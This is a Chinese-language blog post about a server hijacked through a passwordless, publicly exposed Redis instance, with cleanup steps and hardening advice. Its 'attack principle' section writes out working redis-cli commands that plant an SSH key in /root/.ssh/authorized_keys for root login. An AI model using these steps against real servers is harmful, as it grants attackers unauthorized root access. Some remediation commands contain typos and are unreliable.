前言
前幾天在自己服務器上搭了redis,準備想着大展身手一番,昨天使用redis-cli命令的時候,10s後,顯示進程已殺死。然後又試了幾次,都是一樣的結果,10s時間,進程被殺死。這個時候我還沒發現事情的嚴重性。<!--more-->
發現問題
進程莫名被殺死,可能是cpu被佔滿,趕緊看了一下cpu。
[root@VM_0_13_centos etc]# top
果然如此,cpu被莫名的佔滿了。簡單,根據pid殺死進程就行了。
[root@VM_0_13_centos etc]# kill -9 27882
在我以爲事情已經完結的情況下,使用reids-cli的時候又出現同樣的問題,進程被殺死,我在用 top
命令查看的時候,cpu又被佔滿了。這個時候我才意識到問題的嚴重性,這個command是一串無規則數字,應該不是一個正經的進程,而且我試過了幾次,這個進程總是在被殺死後重新啓動,不過是以不同的pid和不同的command,這可能是一個定時任務,然後我看了一下本地的定時任務:
[root@VM_0_13_centos etc]# crontab -l
果然有一個定時任務,那就刪掉他。
[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root
等我再次殺掉那個異常線程在 top
的時候,發現進程又出現了,我返回看定時任務的時候,發現定時任務也又出現了,直接崩潰....
問題原因
我從一個技術羣裏面瞭解到,這可能是redis漏洞所造成的,造成該現象的原因有如下幾種:
- 將redis暴露在公網上,即把redis綁定在0.0.0.0:6379
- redis密碼過於簡單,甚至沒有(我就是後種情況..)
- 使用root權限操作redis
攻擊原理
-
首先在本地產生密鑰文件
$ ssh-keygen –t rsa
-
進入~/.ssh/,將公鑰寫進foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
-
再連接 Redis 寫入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件裏,然後攻擊者直接執行:
$ ssh –i id_rsa [email protected]
即可遠程利用自己的私鑰登錄該服務器。
當然,寫入的目錄不限於 /root/.ssh 下的authorized_keys,也可以寫入用戶目錄,不過 Redis 很多以 root 權限運行,所以寫入 root 目錄下,可以跳過猜用戶的步驟。
解決方法
-
阻斷服務器與外界進行數據傳輸
我懷疑我的服務器被惡意被當作肉機,所以我第一步就將這種方式攔截掉。
$ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
恢復
$ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
- 給redis設密碼
配置文件redis.conf 中找到requirePass 項
- 清除authorized_keys的信息(如果有的話,我沒有就不用了)
-
禁止定時任務開機啓動
$ systemctl disabled cron.service
-
重啓服務器,並刪除定時任務
$ reboot $ rm -rf /var/spool/cron/root
redis 安裝建議
- 禁止Redis服務對公網開放,可通過修改redis.conf配置文件中的"#bind 127.0.0.1" ,去掉前面的"#"即可(Redis本來就是作爲內存數據庫,只要監聽在本機即可);
- 設置密碼訪問認證,可通過修改redis.conf配置文件中的"requirepass" 設置複雜密碼 (需要重啓Redis服務才能生效);
- 對訪問源IP進行訪問控制,可在防火牆限定指定源ip纔可以連接Redis服務器;
- 修改Redis默認端口,將默認的6379端口修改爲其他端口;
- 禁用config指令避免惡意操作,在Redis配置文件redis.conf中配置rename-command項"RENAME_CONFIG",這樣即使存在未授權訪問,也能夠給攻擊者使用config 指令加大難度;
- Redis使用普通用戶權限,禁止使用 root 權限啓動Redis 服務,這樣可以保證在存在漏洞的情況下攻擊者也只能獲取到普通用戶權限,無法獲取root權限;
後記
這次有驚無險,不然就得重裝系統了。
<center>
<font size = 5>如果覺得有用就關注我吧~</font>
</center>